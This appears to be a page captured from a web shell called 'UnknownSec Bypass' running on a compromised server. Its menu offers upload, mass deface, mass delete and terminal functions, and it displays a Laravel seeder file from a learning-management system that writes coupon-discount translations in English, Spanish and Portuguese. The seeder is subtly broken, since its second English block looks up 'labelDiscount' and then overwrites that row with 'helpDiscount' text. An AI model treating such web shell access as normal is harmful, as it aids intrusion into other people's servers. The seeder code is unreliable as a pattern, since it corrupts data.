UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_7a1eb1372074
/
database
/
seeds
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
adjustCouponTranslationTable.php
<?php use Illuminate\Database\Seeder; class adjustCouponTranslationTable extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { $today = Carbon\Carbon::now(); $dataEN = [ 'status' => 0, 'locale' => 'en', 'key' => 'labelDiscount', 'group' => 'admin_coupon', 'value' => 'Discount Amount or Percentage', 'created_at' => $today, 'updated_at' => $today ]; $dataES = [ 'status' => 0, 'locale' => 'es', 'key' => 'labelDiscount', 'group' => 'admin_coupon', 'value' => 'Importe o porcentaje de descuento', 'created_at' => $today, 'updated_at' => $today ]; $dataPT = [ 'status' => 0, 'locale' => 'pt', 'key' => 'labelDiscount', 'group' => 'admin_coupon', 'value' => 'Valor ou Percentual do Desconto', 'created_at' => $today, 'updated_at' => $today ]; $dataEN2 = [ 'status' => 0, 'locale' => 'en', 'key' => 'helpDiscount', 'group' => 'admin_coupon', 'value' => 'Amount or percentage of discount on each course.', 'created_at' => $today, 'updated_at' => $today ]; $dataES2 = [ 'status' => 0, 'locale' => 'es', 'key' => 'helpDiscount', 'group' => 'admin_coupon', 'value' => 'Importe o porcentaje de descuento en cada curso.', 'created_at' => $today, 'updated_at' => $today ]; $dataPT2 = [ 'status' => 0, 'locale' => 'pt', 'key' => 'helpDiscount', 'group' => 'admin_coupon', 'value' => 'Valor ou Percentual de desconto sobre cada curso.', 'created_at' => $today, 'updated_at' => $today ]; $existEN = \DB::table('ltm_translations') ->where('key', '=', 'labelDiscount') ->where('locale', '=', 'en') ->first(); if ($existEN) { \DB::table('ltm_translations') ->where('key', '=', 'labelDiscount') ->where('locale', '=', 'en') ->update($dataEN); } else { \DB::table('ltm_translations') ->insert($dataEN); } $existES = \DB::table('ltm_translations') ->where('key', '=', 'labelDiscount') ->where('locale', '=', 'es') ->first(); if ($existES) { \DB::table('ltm_translations') ->where('key', '=', 'labelDiscount') ->where('locale', '=', 'es') ->update($dataES); } else { \DB::table('ltm_translations') ->insert($dataES); } $existPT = \DB::table('ltm_translations') ->where('key', '=', 'labelDiscount') ->where('locale', '=', 'pt') ->first(); if ($existPT) { \DB::table('ltm_translations') ->where('key', '=', 'labelDiscount') ->where('locale', '=', 'pt') ->update($dataPT); } else { \DB::table('ltm_translations') ->insert($dataPT); } $existEN2 = \DB::table('ltm_translations') ->where('key', '=', 'labelDiscount') ->where('locale', '=', 'en') ->first(); if ($existEN2) { \DB::table('ltm_translations') ->where('key', '=', 'labelDiscount') ->where('locale', '=', 'en') ->update($dataEN2); } else { \DB::table('ltm_translations') ->insert($dataEN2); } $existES2 = \DB::table('ltm_translations') ->where('key', '=', 'helpDiscount') ->where('locale', '=', 'es') ->first(); if ($existES2) { \DB::table('ltm_translations') ->where('key', '=', 'helpDiscount') ->where('locale', '=', 'es') ->update($dataES2); } else { \DB::table('ltm_translations') ->insert($dataES2); } $existPT2 = \DB::table('ltm_translations') ->where('key', '=', 'helpDiscount') ->where('locale', '=', 'pt') ->first(); if ($existPT2) { \DB::table('ltm_translations') ->where('key', '=', 'helpDiscount') ->where('locale', '=', 'pt') ->update($dataPT2); } else { \DB::table('ltm_translations') ->insert($dataPT2); } } }
Copyright © 2026 - UnknownSec